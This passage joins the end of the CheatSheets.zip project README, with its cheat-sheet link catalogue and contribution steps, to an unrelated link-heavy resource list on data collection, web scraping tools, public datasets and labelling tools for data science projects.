understand its usage. - [Netcat](https://cheatsheets.zip/nc.html): This cheat sheet provides various for using Netcat on both Linux and Unix. </details> <details> <summary>Python</summary> - [Numpy](https://cheatsheets.zip/numpy.html): [NumPy](https://numpy.org/) is the fundamental package for scientific computing with Python. This cheat sheet is a quick reference for NumPy beginners. </details> <details> <summary>Database</summary> - [Neo4j](https://cheatsheets.zip/neo4j.html): A Neo4j cheat sheet with getting started resources and information on how to query the database with Cypher. - [PostgreSQL](https://cheatsheets.zip/postgres.html): The [PostgreSQL](https://www.postgresql.org/docs/current/) cheat sheet provides you with the common PostgreSQL commands and statements. - [Redis](https://cheatsheets.zip/redis.html): This is a [redis](https://redis.io/) quick reference cheat sheet that lists examples of redis commands - [MySQL](https://cheatsheets.zip/mysql.html): The SQL cheat sheet provides you with the most commonly used SQL statements for your reference. </details> <details> <summary>Keyboard Shortcuts</summary> - [Adobe Photoshop](https://cheatsheets.zip/adobe-photoshop.html): A visual cheat-sheet for the 283 keyboard shortcuts found in Adobe Photoshop - [Apex Legends](https://cheatsheets.zip/apex-legends.html): A visual cheat-sheet for the 27 default keyboard shortcuts found in Apex Legends - [Figma](https://cheatsheets.zip/figma.html): A visual cheat-sheet for the 119 keyboard shortcuts found in Figma - [Microsoft Teams](https://cheatsheets.zip/microsoft-teams.html): A visual cheat-sheet for the 38 keyboard shortcuts found in Microsoft Teams - [TablePlus](https://cheatsheets.zip/table-plus.html): A visual cheat-sheet for the 34 keyboard shortcuts found in TablePlus - [Bear](https://cheatsheets.zip/bear-notes.html): A visual cheat-sheet for the 66 keyboard shortcuts found in Bear. This application is MacOS-only. - [Feedly](https://cheatsheets.zip/feedly.html): A visual cheat-sheet for the 25 keyboard shortcuts found on the Feedly app - [FileZilla](https://cheatsheets.zip/filezilla.html): A visual cheat-sheet for the 30 keyboard shortcuts found on the FileZilla program - [Reddit](https://cheatsheets.zip/reddit.html): A visual cheat-sheet for the 17 keyboard shortcuts found on Reddit.com - [Slack](https://cheatsheets.zip/slack.html): A visual cheat-sheet for the 62 keyboard shortcuts found in Slack - [SoundCloud](https://cheatsheets.zip/soundcloud.html): A visual cheat-sheet for the 22 keyboard shortcuts found on SoundCloud - [Twitter](https://cheatsheets.zip/twitter.html): A visual cheat-sheet for the 26 keyboard shortcuts found on Twitter - [Android Studio](https://cheatsheets.zip/android-studio.html): A visual cheat-sheet for the 130 keyboard shortcuts found in the Andriod Studio software - [Github](https://cheatsheets.zip/github.html): A visual cheat-sheet for the 80 keyboard shortcuts found on Github.com - [Shopify](https://cheatsheets.zip/shopify.html): A visual cheat-sheet for the 50 keyboard shortcuts found on the Shopify website - [Zoom](https://cheatsheets.zip/zoom.html): A visual cheat-sheet for the 32 keyboard shortcuts found in Zoom. These shortcuts are for MacOS, for Windows visit /zoom-windows. - [Adobe XD](https://cheatsheets.zip/adobe-xd.html): A visual cheat-sheet for the 97 keyboard shortcuts found in Adobe XD - [Firefox](https://cheatsheets.zip/firefox.html): A visual cheat-sheet for the 116 keyboard shortcuts found in Firefox - [PhpStorm](https://cheatsheets.zip/phpstorm.html): A visual cheat-sheet for the 96 keyboard shortcuts found in JetBrains PhpStorm - [Postman](https://cheatsheets.zip/postman.html): A visual cheat-sheet for the 23 keyboard shortcuts found in Postman - [Webflow](https://cheatsheets.zip/webflow.html): A visual cheat-sheet for the 41 keyboard shortcuts found in Webflow - [Adobe Lightroom CC](https://cheatsheets.zip/adobe-lightroom.html): A visual cheat-sheet for the 251 keyboard shortcuts found in Adobe Lightroom CC - [1Password](https://cheatsheets.zip/1password.html): A cheat sheet for 1password's keyboard shortcuts in Mac, Windows, iOS, Linux. - [Affinity Designer](https://cheatsheets.zip/affinity-designer.html): A visual cheat-sheet for the 108 keyboard shortcuts found in Affinity Designer - [Pocket](https://cheatsheets.zip/pocket.html): A visual cheat-sheet for the 36 keyboard shortcuts found on Pocket for Web - [Trello](https://cheatsheets.zip/trello.html): A visual cheat-sheet for the 29 keyboard shortcuts found on Trello - [Audacity](https://cheatsheets.zip/audacity.html): A visual cheat-sheet for the 135 default keyboard shortcuts found in Audacity - [Framer X](https://cheatsheets.zip/framer-x.html): A visual cheat-sheet for the 45 keyboard shortcuts found in Framer X. This application is MacOS-only. - [Google Drive](https://cheatsheets.zip/google-drive.html): A visual cheat-sheet for the 54 keyboard shortcuts found in Google Drive on the web - [PuTTy](https://cheatsheets.zip/putty.html): A visual cheat-sheet for the 32 keyboard shortcuts found on the PuTTy app - [Sequel Pro](https://cheatsheets.zip/sequel-pro.html): A visual cheat-sheet for the 71 keyboard shortcuts found in Sequel Pro. This application is MacOS-only. - [Apple Music](https://cheatsheets.zip/apple-music.html): A visual cheat-sheet for the 62 keyboard shortcuts found in the Apple Music app. This application is MacOS-only. - [Blender](https://cheatsheets.zip/blender.html): A visual cheat-sheet for the 187 keyboard shortcuts found in Blender - [Obsidian](https://cheatsheets.zip/obsidian.html): A visual cheat-sheet for the 17 keyboard shortcuts found in the Obsidian knowledge base app. - [Telegram Desktop](https://cheatsheets.zip/telegram.html): A visual cheat-sheet for the 37 keyboard shortcuts found on the Telegram Desktop app - [YouTube](https://cheatsheets.zip/youtube.html): A visual cheat-sheet for the 18 keyboard shortcuts found on YouTube.com - [Airtable](https://cheatsheets.zip/airtable.html): A visual cheat-sheet for the 36 keyboard shortcuts found in Airtable - [Bitbucket](https://cheatsheets.zip/bitbucket.html): A visual cheat-sheet for the 35 keyboard shortcuts found on Bitbucket - [Fortnite](https://cheatsheets.zip/fortnite.html): A visual cheat-sheet for the 26 default keyboard shortcuts found in Fortnite - [Gmail](https://cheatsheets.zip/gmail.html): A visual cheat-sheet for the 90 keyboard shortcuts found on Gmail - [Sketch](https://cheatsheets.zip/sketch.html): A visual cheat-sheet for the 149 keyboard shortcuts found in Sketch. This application is MacOS-only. - [Spotify](https://cheatsheets.zip/spotify.html): A visual cheat-sheet for the 23 keyboard shortcuts found in Spotify - [Brave Browser](https://cheatsheets.zip/brave.html): A visual cheat-sheet for the 64 keyboard shortcuts found in the Brave browser - [KanbanMail](https://cheatsheets.zip/kanbanmail.html): A visual cheat-sheet for the 29 keyboard shortcuts found in KanbanMail - [Microsoft Outlook](https://cheatsheets.zip/outlook.html): A visual cheat-sheet for the 210 keyboard shortcuts found in Microsoft Outlook - [Principle](https://cheatsheets.zip/principle.html): A visual cheat-sheet for the 30 keyboard shortcuts found in Principle. This application is MacOS-only. - [Skype](https://cheatsheets.zip/skype.html): A visual cheat-sheet for the 31 keyboard shortcuts found in Skype - [Arduino IDE](https://cheatsheets.zip/arduino.html): A visual cheat-sheet for the 12 keyboard shortcuts found in the Arduino IDE - [Asana](https://cheatsheets.zip/asana.html): A visual cheat-sheet for the 40 keyboard shortcuts found in Asana - [Code Editor for iOS](https://cheatsheets.zip/code-editor-ios.html): A visual cheat-sheet for the 43 keyboard shortcuts found in the Code Editor for iOS app. This application is MacOS-only. - [Jira](https://cheatsheets.zip/jira.html): A visual cheat-sheet for the 44 keyboard shortcuts found in Jira - [Quip.com](https://cheatsheets.zip/quip.html): A visual cheat-sheet for the 52 keyboard shortcuts found in Quip - [WordPress](https://cheatsheets.zip/wordpress.html): A visual cheat-sheet for the 34 keyboard shortcuts found in the WordPress visual editor - [Chrome Developer Tools](https://cheatsheets.zip/chrome-devtools.html): A visual cheat-sheet for the 56 keyboard shortcuts found in Chrome's Developer Tools - [GIMP](https://cheatsheets.zip/gimp.html): A visual cheat-sheet for the 97 keyboard shortcuts found in GIMP - [Google Chrome](https://cheatsheets.zip/google-chrome.html): A visual cheat-sheet for the 65 keyboard shortcuts found in Google Chrome - [Todoist](https://cheatsheets.zip/todoist.html): A visual cheat-sheet for the 37 keyboard shortcuts found in Todoist - [TickTick](https://cheatsheets.zip/ticktick.html): A visual cheat-sheet for the 25 keyboard shortcuts found in the TickTick desktop app - [VLC Player](https://cheatsheets.zip/vlc.html): A visual cheat-sheet for the 82 keyboard shortcuts found in VLC Player - [Missive](https://cheatsheets.zip/missive.html): A visual cheat-sheet for the 83 keyboard shortcuts found in Missive - [Origami Studio](https://cheatsheets.zip/origami.html): A visual cheat-sheet for the 71 keyboard shortcuts found in Origami Studio. This application is MacOS-only. - [Sublime Text](https://cheatsheets.zip/sublime-text.html): A visual cheat-sheet for the 49 keyboard shortcuts found in Sublime Text - [Transmit](https://cheatsheets.zip/transmit.html): A visual cheat-sheet for the 62 keyboard shortcuts found in Transmit. This application is MacOS-only. - [Affinity Photo](https://cheatsheets.zip/affinity-photo.html): A visual cheat-sheet for the 177 keyboard shortcuts found in Affinity Photo - [Monday.com](https://cheatsheets.zip/monday.html): A visual cheat-sheet for the 24 keyboard shortcuts found on Monday.com - [Proto.io](https://cheatsheets.zip/proto-io.html): A visual cheat-sheet for the 48 keyboard shortcuts found in Proto.io - [Superhuman](https://cheatsheets.zip/superhuman.html): A visual cheat-sheet for the 105 keyboard shortcuts found in Superhuman. This application is MacOS-only. - [Vivaldi Browser](https://cheatsheets.zip/vivaldi.html): A visual cheat-sheet for the 69 default keyboard shortcuts found in the Vivaldi browser - [Finder](https://cheatsheets.zip/finder.html): A visual cheat-sheet for the 55 keyboard shortcuts found in Finder. This application is part of MacOS. - [GitLab](https://cheatsheets.zip/gitlab.html): A visual cheat-sheet for the 58 keyboard shortcuts found in GitLab - [Guitar Pro](https://cheatsheets.zip/guitar-pro.html): A visual cheat-sheet for the 129 keyboard shortcuts found in Guitar Pro - [Roam Research](https://cheatsheets.zip/roam.html): A visual cheat-sheet for the 45 keyboard shortcuts found on Roam Research - [SketchUp Pro](https://cheatsheets.zip/sketchup.html): A visual cheat-sheet for the 135 default keyboard shortcuts found in SketchUp Pro - [Unity 3D](https://cheatsheets.zip/unity-3d.html): A visual cheat-sheet for the 50 keyboard shortcuts found in Unity 3D - [IntelliJ IDEA](https://cheatsheets.zip/idea.html): IntelliJ IDEA is a very good Java IDE, most of its commands have shortcuts to keep your hands from leaving the keyboard - [WebStorm](https://cheatsheets.zip/webstorm.html): This quick reference cheat sheet lists the default keyboard shortcuts for WebStorm running on Windows/Linux or Mac </details> <details> <summary>Other</summary> - [Google Search](https://cheatsheets.zip/google-search.html): This quick reference cheat sheet lists of Google advanced search operators. - [ASCII Code](https://cheatsheets.zip/ascii-code.html): This cheat sheet is a complete list of ASCII Code Table with their numbers and names. - [Aspect Ratio](https://cheatsheets.zip/aspect-ratio.html): This cheat sheet lists some common aspect ratios and their pixel resolutions. Always confirm your final delivery ratio when shooting. - [HTML Characters Entities](https://cheatsheets.zip/html-char.html): This cheat sheet is a complete list of HTML entities with their numbers and names. Also included is a full list of ASCII characters that can be represented in HTML. - [ISO 639-1 Language Code](https://cheatsheets.zip/iso-639-1.html): This is a list of the ISO language codes that conform to the ISO 639-1 standard, it provide reference for multi-language website. - [Resolutions](https://cheatsheets.zip/resolutions.html): This cheat sheet lists screen sizes, viewport size and CSS media queries for popular Phones, Tablets, Laptops and Watches - [HTTP Status Code](https://cheatsheets.zip/http-status-code.html): The http status codes cheat sheet. a quick reference to every HTTP status code. - [Emoji](https://cheatsheets.zip/emoji.html): Some of the emoji codes are not super easy to remember, so here is a little cheat sheet. - [CheatSheets](https://cheatsheets.zip/quickref.html): This is the magic syntax variant manual that you can use on CheatSheets.zip, It's a good practice for contributors. - [MIME types](https://cheatsheets.zip/mime.html): This cheat sheet lists some common MIME types for the Web. You can look in the [IANA/MIME Media Types registry](http://www.iana.org/assignments/media-types/index.html) which contains all registered MIME types. </details> ## 🗂️ Directory structure ``` . ├── source │ ├── _posts # Cheat sheet source files │ │ ├── awk.md │ │ ├── vim.md # => https://cheatsheets.zip/vim │ │ ├── php.md │ │ ├── css.md # => https://cheatsheets.zip/css │ │ ├── ... │ └── widget # Widget files │ └── chmod.html ├── public # Distribution files ├── _config.yml ├── gulpfile.js ├── package.json ├── postcss.config.js ├── tailwind.config.js └── themes └── coo # Theme files ``` ## 🤝 Contributing We would like to extend our gratitude to you for considering a contribution to Reference. Your support is what makes CheatSheets.zip a truly amazing resource. Please feel free to [submit issues](https://github.com/Fechin/reference/issues/new?assignee=Fechin) and enhancement requests. For consistency, we encourage you to refer to the [https://cheatsheets.zip/quickref](https://cheatsheets.zip/quickref) when creating or editing cheat sheets. To get started with development, follow these steps: 1. Clone Github repo `git clone https://github.com/Fechin/reference.git` 2. Install `npm` package manager (Read [installation guide](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm)) 3. Run `npm install` in the root folder to install dependencies. 4. Run `npm run dev` to start a dev server. This serves the project and live reloads when any files are changed, then visit http://127.0.0.1:4000 preview. 5. Submit a pull request and wait for it to be reviewed and merged. To create or edit a cheat sheet, you'll need to create or edit a markdown file in `source/_posts/{filename}.md`. The file should include a front matter section with the following format: ```markdown --- title: CheatSheets date: 2020-11-25 18:28:43 icon: icon-style background: bg-emerald-600 tags: categories: - Other intro: This is a reference of styles that you can use on quickref cheat sheets! --- ``` Only the `title` and `intro` fields are required, and the other options can be left blank. <a href="https://github.com/Fechin/reference/graphs/contributors"> <img src="https://contrib.rocks/image?repo=Fechin/reference" /> </a> ## 🐦 Follow us on Twitter [](https://twitter.com/FechinLi) Stay up-to-date with our project by following us on Twitter! Get all the latest news and updates right in your feed. It's the perfect way to stay in the loop. <a href="https://www.buymeacoffee.com/randy8080"><img src="https://img.buymeacoffee.com/button-api/?text=Buy me a coffee&emoji=&slug=randy8080&button_colour=40DCA5&font_colour=ffffff&font_family=Cookie&outline_colour=000000&coffee_colour=FFDD00" /></a> ## 📃 License The project is licensed under the [MIT](https://github.com/Fechin/reference/blob/main/LICENSE) License and is maintained by [Fechin](https://github.com/Fechin).

# Complete-Life-Cycle-of-a-Data-Science-Project ***CREDITS:All corresponding resources*** ***MOTIVATION:Motivation to create this repository to help upcoming aspirants and help to others in the data science field*** https://www.theinsaneapp.com/2021/03/how-to-build-machine-learning-project.html **** If you like my work. please buy me a coffee it motivate me -> https://www.buymeacoffee.com/achuthasubhash?new=1 **** ***Business understanding*** ***1.Data collection*** Data consists of 3 kinds a.Structure data (tabular data,etc...) b.Unstructured data (images,text,audio,etc...) c.semi structured data (XML,JSON,etc...) variable a.qualitative (nominal,ordinal,binary) b.quantitative(discrete,continuous) https://www.chi2innovations.com/blog/discover-data-blog-series/data-types-101/ database scraping data from websites purchasing data data from surveys data, sensors, cameras, apis etc. cleanlab https://l7.curtisnorthcutt.com/cleanlab-python-package https://github.com/cgnorthcutt/cleanlab https://github.com/cgnorthcutt/label-errors https://github.com/cgnorthcutt/rankpruning https://github.com/subeeshvasu/Awesome-Learning-with-Label-Noise Measure Data Quality ydata-quality https://github.com/ydataai/ydata-synthetic https://towardsdatascience.com/how-can-i-measure-data-quality-9d31acfeb969 a.Web scraping best article to refer-https://towardsdatascience.com/choose-the-best-python-web-scraping-library-for-your-application-91a68bc81c4f https://www.analyticsvidhya.com/blog/2019/10/web-scraping-hands-on-introduction-python/?utm_source=linkedin&utm_medium=KJ|link|weekend-blogs|blogs|44087|0.875 https://www.analyticsvidhya.com/blog/2019/10/web-scraping-hands-on-introduction-python/?utm_source=linkedin&utm_medium=AV|link|high-performance-blog|blogs|44204|0.375 https://www.kdnuggets.com/2021/02/6-web-scraping-tools.html https://www.bigdatanews.datasciencecentral.com/profiles/blogs/top-30-free-web-scraping-software https://towardsdatascience.com/6-web-scraping-tools-that-make-collecting-data-a-breeze-457c44e4411d https://medium.com/analytics-vidhya/master-web-scraping-completly-from-zero-to-hero-38051423256b 1.Beautifulsoup https://www.freecodecamp.org/news/how-to-scrape-websites-with-python-and-beautifulsoup-5946935d93fe/ mechanicalsoup https://analyticsindiamag.com/mechanicalsoup-web-scraping-custom-dataset-tutorial/ 2.Scrapy,PyScrappy,Pandas Datareader,Instaloader,lxml 3.Selenium https://www.freecodecamp.org/news/better-web-scraping-in-python-with-selenium-beautiful-soup-and-pandas-d6390592e251/ 4.Request to access data 5.AUTOSCRAPER - https://github.com/alirezamika/autoscraper https://www.youtube.com/watch?v=9BQ353Yu1D0 https://www.analyticsvidhya.com/blog/2021/04/automate-web-scraping-using-python-autoscraper-library/ scrapeasy Scrape Any Website in Seconds with One Line of Code https://github.com/joelbarmettlerUZH/Scrapeasy Scrap Images From E-Commerce Website Using AutoScraper https://www.analyticsvidhya.com/blog/2021/05/scrap-images-from-e-commerce-website-using-autoscraper-library/ amazon auto scraper library https://webautomation.io/ Listly https://www.listly.io/r/stdfr FiftyOne Now easier to download and evaluate https://towardsdatascience.com/googles-open-images-now-easier-to-download-and-evaluate-with-fiftyone-615ce0482c02 webbot https://pypi.org/project/webbot/ gazpacho https://github.com/maxhumber/gazpacho html_scraper_streamlit_app https://www.youtube.com/watch?v=6U5xJ3mXRKA&feature=youtu.be 6.Twitter scraping tool (𝚝𝚠𝚒𝚗𝚝 or tweepy or tweetlib)-https://github.com/twintproject/twint twitterscraper https://www.youtube.com/watch?v=MpIi4HtCiVk twython https://github.com/ryanmcgrath/twython twarc https://github.com/DocNow/twarc https://scholarslab.github.io/learn-twarc/01-quick-start.html snscrape extract twitterr data https://github.com/JustAnotherArchivist/snscrape Scweet A simple and unlimited twitter scraper https://github.com/Altimis/Scweet GetOldTweets3,GoogleNews,snscrape,GetOldTweets3 Scrape Twitter for Tweets https://github.com/taspinar/twitterscraper HAR File Web Scraper https://stevesie.com/har-file-web-scraper https://www.youtube.com/watch?v=LcqVDfueb8g https://analyticsindiamag.com/complete-tutorial-on-twint-twitter-scraping-without-twitters-api/ https://developer.twitter.com/en/docs pytrends https://medium.com/nerd-for-tech/scraping-data-from-online-platforms-to-enhance-time-series-forecasts-6eec3c68636d Scraping Instagram -instaloader https://thecleverprogrammer.com/2020/07/30/scraping-instagram-with-python/ Instascrape Scrape LinkedIn Profiles with ProxyCurl API Reddit Dataset Using PSAW and PRAW in Python Scraping Reddit using Python Reddit API Wrapper (PRAW) Scrape Wikipedia wikipedia https://www.thepythoncode.com/article/access-wikipedia-python patang - Scrape Product details from eCommerce Sites with Puppeteer and DOM String https://www.youtube.com/watch?v=3sgxRmyOuXs Download Wikipedia https://www.wikidata.org/wiki/Wikidata:Main_Page https://www.youtube.com/watch?v=hC1rY4lRY0s https://towardsdatascience.com/an-efficient-way-to-read-data-from-the-web-directly-into-python-a526a0b4f4cb Web Scraping to Create a CSV File https://thecleverprogrammer.com/2020/08/08/web-scraping-to-create-csv/ Amazon Web Scraper, Amazon Auto Scraper 7.urllib 8.pattern 9.Octoparse Easy Web Scraping https://www.octoparse.com/ prowebscraper https://prowebscraper.com/features Web scraper https://chrome.google.com/webstore/detail/web-scraper-free-web-scra/jnhgnonknehpejjnehehllkliplmbmhn?hl=en ParseHub https://www.parsehub.com/ https://analyticsindiamag.com/parsehub-no-code-gui-based-web-scraping-tool/ PyScrappy https://github.com/mldsveda/PyScrappy https://www.analyticsvidhya.com/blog/2022/02/web-scraping-with-pyscrappy/ Gazpacho https://github.com/maxhumber/gazpacho ScrapeSimple Website: https://www.scrapesimple.com Content Grabber https://contentgrabber.com/Manual/understanding_the_concept.htm Crawly https://crawly.diffbot.com/ Apify https://apify.com/ Mozenda Website: https://www.mozenda.com/ obsei https://github.com/lalitpagaria/obsei Diffbot https://analyticsindiamag.com/diffbot/ Trustpilot,webhose,scrapingbot lxml https://lxml.de/index.html#introduction ScrapingBee https://analyticsindiamag.com/scrapingbee-api/ Scrape HTML tables https://www.youtube.com/watch?v=6U5xJ3mXRKA&feature=youtu.be or pd.read_html requests-html https://github.com/kennethreitz/requests-html newspaper https://github.com/codelucas/newspaper https://www.youtube.com/watch?v=Hfry5XnISyc newspaper3k: https://newspaper.readthedocs.io # easily extract text from articles newscatcher https://github.com/kotartemiy/newscatcher https://www.youtube.com/watch?v=pHzOuizZq4I patang (extract product details) https://github.com/tejazz/patang lisc https://github.com/lisc-tools/lisc Helena WEB AUTOMATION FOR END USERS https://helena-lang.org/ pandas(read_html) wget,curl,parsehub,webhouse,octoparse,scraping bot,scraping bee,Common,Content Grabber,Docparser,Scraper API,Import.io,Altair Monarch,WebAutomation.io,WebScraper.io,Scrape.do, AvesAPI, ParseHub, Import.io, Octoparse, Scrapingdog, Diffbot, ScrapingBee, Grepsr, Scraper API, Scrapy Crawl Crawly https://crawly.diffbot.com/ HTML basics for web scraping,Web Scraping with Octoparse,Web Scraping with Selenium 10-best-web-scraping-tools https://www.scraperapi.com/blog/the-10-best-web-scraping-tools/ https://www.kdnuggets.com/2021/02/6-web-scraping-tools.html https://analyticsindiamag.com/complete-learning-path-to-web-scraping-with-all-major-tools/ https://towardsdatascience.com/6-web-scraping-tools-that-make-collecting-data-a-breeze-457c44e4411d https://towardsdatascience.com/6-web-scraping-tools-that-make-collecting-data-a-breeze-457c44e4411d https://www.kdnuggets.com/2018/02/web-scraping-tutorial-python.html https://www.octoparse.com/ https://github.com/tirthajyoti/pydbgen https://www.mozenda.com/ https://www.mockaroo.com/ https://lionbridge.ai/ https://www.mturk.com/ https://appen.com/ 11.GoogleImageCrawler,google_images_download,bing_image https://www.freepik.com/popular-photos , https://stocksnap.io/ , https://www.pexels.com/ ,https://unsplash.com/ , https://pixabay.com/ b.Web Crawling https://python.libhunt.com/scrapy-alternatives Flat Data https://octo.github.com/projects/flat-data b.3rd party API'S 22 APIs every data scientist should learn https://www.springboard.com/library/data-science/top-apis-for-data-scientists/ c.creating own data (manual collection eg:google docx,servey,etc...) primary data d.etl awesome ETL https://github.com/pawl/awesome-etl#python https://github.com/achuthasubhash/awesome-etl 38x faster data pipelines with tf.data d.Databases Databases are 2 kind sequel and no sequel database sql,sql lite,mysql,mongodb,montydb,hadoop,elastic search,cassendra,amazon s3,hive,googlebigtable,AWS DynamoDB,HBase,oracle db sql https://mode.com/sql-tutorial/ https://www.w3schools.com/sql/ sql in python https://medium.com/jbennetcodes/how-to-rewrite-your-sql-queries-in-pandas-and-more-149d341fc53e PyMongo https://analyticsindiamag.com/guide-to-pymongo-a-python-wrapper-for-mongodb/ Cloud AI Data labeling service https://cloud.google.com/ai-platform/data-labeling/docs?utm_source=youtube&utm_medium=Unpaidsocial&utm_campaign=guo-20200503-Data-Labeling e.Online resources - ultimate resource https://datasetsearch.research.google.com/ https://medium.com/swlh/where-to-find-awesome-machine-learning-datasets-6bb909a3f350 10 BEST DATA COLLECTION TOOLS FOR EFFECTIVE RESULTS https://www.analyticsinsight.net/10-best-data-collection-tools-for-effective-results/ https://www.freecodecamp.org/news/https-medium-freecodecamp-org-best-free-open-data-sources-anyone-can-use-a65b514b0f2d/ https://research.google/tools/datasets/ Machine learning datasets https://www.datasetlist.com/ https://wiki.pathmind.com/open-datasets https://guides.library.cmu.edu/az.php https://docs.microsoft.com/en-us/azure/azure-sql/public-data-sets https://registry.opendata.aws/ https://paperswithcode.com/datasets https://datasets.quantumstat.com/ https://www.quandl.com/ http://dataportals.org/ https://opendatamonitor.eu/frontend/web/index.php?r=dashboard%2Findex https://en.wikipedia.org/wiki/List_of_datasets_for_machine-learning_research https://www.quora.com/Where-can-I-find-large-datasets-open-to-the-public https://www.reddit.com/r/datasets/ https://ourworldindata.org/ https://data.worldbank.org/ https://data.world/ https://data.census.gov/cedsci/ https://data.seattle.gov/ https://www.openml.org/ https://visualdata.io/discovery World’s Largest Data Platform https://worlddata.ai/ Awesome list of datasets in 100+ categories https://www.kdnuggets.com/2021/05/awesome-list-datasets.html https://sebastianraschka.com/blog/2021/ml-dl-datasets.html https://enoumen.com/2021/04/23/data-sciences-datasets-data-visualization-data-analytics-big-data-data-lakes/ https://serokell.io/blog/best-machine-learning-datasets https://medium.com/@ODSC/25-excellent-machine-learning-open-datasets-940ca2124dfc 1)kaggle-https://www.kaggle.com/datasets , 𝚙𝚒𝚙 𝚒𝚗𝚜𝚝𝚊𝚕𝚕 𝚔𝚊𝚐𝚐𝚕𝚎𝚍𝚊𝚝𝚊𝚜𝚎𝚝𝚜 Downloading Kaggle datasets directly into Google Colab -https://towardsdatascience.com/downloading-kaggle-datasets-directly-into-google-colab-c8f0f407d73a How to Download Kaggle Datasets using Jupyter Notebook https://www.analyticsvidhya.com/blog/2021/04/how-to-download-kaggle-datasets-using-jupyter-notebook/ 2)https://sebastianraschka.com/blog/2021/ml-dl-datasets.html movielens-https://grouplens.org/datasets/movielens/latest/ dagshub datset https://dagshub.com/explore/datasets 100+ of the Best Free Data Sources For Your Next Project https://www.columnfivemedia.com/100-best-free-data-sources-infographic/ World and national data, maps & rankings https://knoema.com/atlas/sources 3)data.gov-https://data.gov.in/ 4)uci-https://archive.ics.uci.edu/ml/datasets.php https://github.com/tirthajyoti/UCI-ML-API 5)Group Lens dataset https://grouplens.org/ Wikipedia ML Datasets https://en.wikipedia.org/wiki/List_of_datasets_for_machine-learning_research AWS Open Data Registry,data.gov (portals),YELP Open dataset,UNICEF Dataset,Big Bad NLP Database,Microsoft Dataset 6)world3bank https://data.world/ , worldbank 7)Google Cloud BigQuery public datasets Google Public Datasets-cloud.google.com/bigquery/public-data/ Google Cloud Data Catalog https://cloud.google.com/data-catalog Academic Torrents-https://academictorrents.com/check.htm?returnto=%2Fbrowse.php 8)online hacktons Datasets https://www.paperswithcode.com/datasets 9)image data from google_images_download https://www.visualdata.io/discovery http://xviewdataset.org/#dataset https://ai.googleblog.com/2016/09/introducing-open-images-dataset.html 10)image data from Bing_Search image data from simple_image_download https://github.com/RiddlerQ/simple_image_download 11)https://www.columnfivemedia.com/100-best-free-data-sources-infographic graviti Unleash the Power of Unstructured Data https://www.graviti.com/?utm_medium=0730Ismael 12)Reddit:https://lnkd.in/dv5UCD4 https://www.reddit.com/r/datasets/ praw.Reddit https://github.com/praw-dev/praw 13)https://datasets.bifrost.ai/?ref=producthunt 14)data.world:https://lnkd.in/gEK897K 15)https://data.world/datasets/open-data https://tinyletter.com/data-is-plural 16)FiveThirtyEight :- https://lnkd.in/gyh-HDj , https://data.fivethirtyeight.com/ 17)BuzzFeed :- https://lnkd.in/gzPWyHj Buzzfeed News -github.com/BuzzFeedNews Socrata - https://opendata.socrata.com/ 18)Google public datasets :- https://lnkd.in/g5dH8qE Statistics Canada https://www.statcan.gc.ca/eng/start https://towardsdatascience.com/how-to-collect-data-from-statistics-canada-using-python-db8a81ce6475 Deep Image Search AI-based image search engine https://github.com/TechyNilesh/DeepImageSearch https://www.datasciencecentral.com/profiles/blogs/big-data-sets-available-for-free 19)Quandl :- https://www.quandl.com stock data statista : https://www.statista.com/ stock data 20)socorateopendata :- https://lnkd.in/gea7JMz 21)AcedemicTorrents :- https://lnkd.in/g-Ur9Xy 22) Automates Image Annotation for Deep Learning Models https://medium.com/towards-artificial-intelligence/improving-data-labeling-efficiency-with-auto-labeling-uncertainty-estimates-and-active-learning-5848272365be Label Studio,Sloth,LabelBox,TagTog,Amazon SageMaker GroundTruth,Playment,Superannotate,Playment,Dataturk,LightTag,Superannotate,CVAT,sloth,LabelImg,cvat Automate data preparation https://www.superb-ai.com/ https://neptune.ai/blog/annotation-tool-comparison-deep-learning-data-annotation?utm_source=linkedin&utm_medium=post&utm_campaign=blog-annotation-tool-comparison-deep-learning-data-annotation Diffgram,Label Studio ,CVAT,SuperAnnotate,Datasaur https://anthony-sarkis.medium.com/the-5-best-ai-data-annotation-platforms-for-machine-learning-2021-ec17c15142f3 https://foobar167.medium.com/open-source-free-software-for-image-segmentation-and-labeling-4b0332049878 ***Label Assist: Model Assisted Pre-Annotation for Computer Vision https://blog.roboflow.com/announcing-label-assist/ https://www.youtube.com/watch?v=919CihTlkZw&feature=youtu.be*** https://github.com/jsbroks/awesome-dataset-tools makeml https://makeml.app/ superannotate https://www.superannotate.com/ jupyter-innotater data annotator for Jupyter notebooks https://github.com/ideonate/jupyter-innotater JupyterLab extension for annotating data https://github.com/explosion/jupyterlab-prodigy semi-auto-image-annotation-tool https://github.com/virajmavani/semi-auto-image-annotation-tool labelimage:- https://github.com/wkentaro/labelme , https://github.com/tzutalin/labelImg labelCloud lightweight tool for labeling 3D bounding boxes in point clouds https://github.com/ch-sa/labelCloud labeller https://www.labellerr.com/ prodigy Radically efficient machine teaching An annotation tool powered by active learning https://prodi.gy/ Labelbox-https://labelbox.com/ Playment-https://playment.io/ SuperAnnotate -https://www.superannotate.com/ CVAT-https://github.com/openvinotoolkit/cvat Lionbridge- https://lionbridge.ai/ LinkedAI: A No-code Data Annotations- https://analyticsindiamag.com/linkedai/ Dataturks V7 Darwin The Rapid Image Annotator https://docs.v7labs.com/docs/loading-a-dataset-in-python https://github.com/v7labs/darwin-py#usage-as-a-python-library https://waliamrinal.medium.com/top-and-easy-to-use-open-source-image-labelling-tools-for-machine-learning-projects-ffd9d5af4a20 https://github.com/heartexlabs/awesome-data-labeling Label a Dataset with a Few Lines of Code https://eric-landau.medium.com/label-a-dataset-with-a-few-lines-of-code-45c140ff119d https://analyticsindiamag.com/complete-guide-to-data-labelling-tools/ https://neptune.ai/blog/data-labeling-software Extraction of Objects In Images and Videos Using 5 Lines of Code https://towardsdatascience.com/extraction-of-objects-in-images-and-videos-using-5-lines-of-code-6a9e35677a31 https://neptune.ai/blog/data-labeling-software?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-data-labeling-software 23)tensorflow_datasets as tfds https://www.tensorflow.org/datasets (import tensorflow_datasets as tfds) https://lionbridge.ai/datasets/tensorflow-datasets-machine-learning/ 24)https://datasets.bifrost.ai/?ref=producthunt 25)https://ourworldindata.org/ 26)https://data.worldbank.org/ 27)google open images:https://storage.googleapis.com/openimages/web/download.html 30 Largest TensorFlow Datasets for Machine Learning https://lionbridge.ai/datasets/tensorflow-datasets-machine-learning/ https://cloud.google.com/bigquery/public-data/ https://towardsdatascience.com/bigquery-public-datasets-936e1c50e6bc 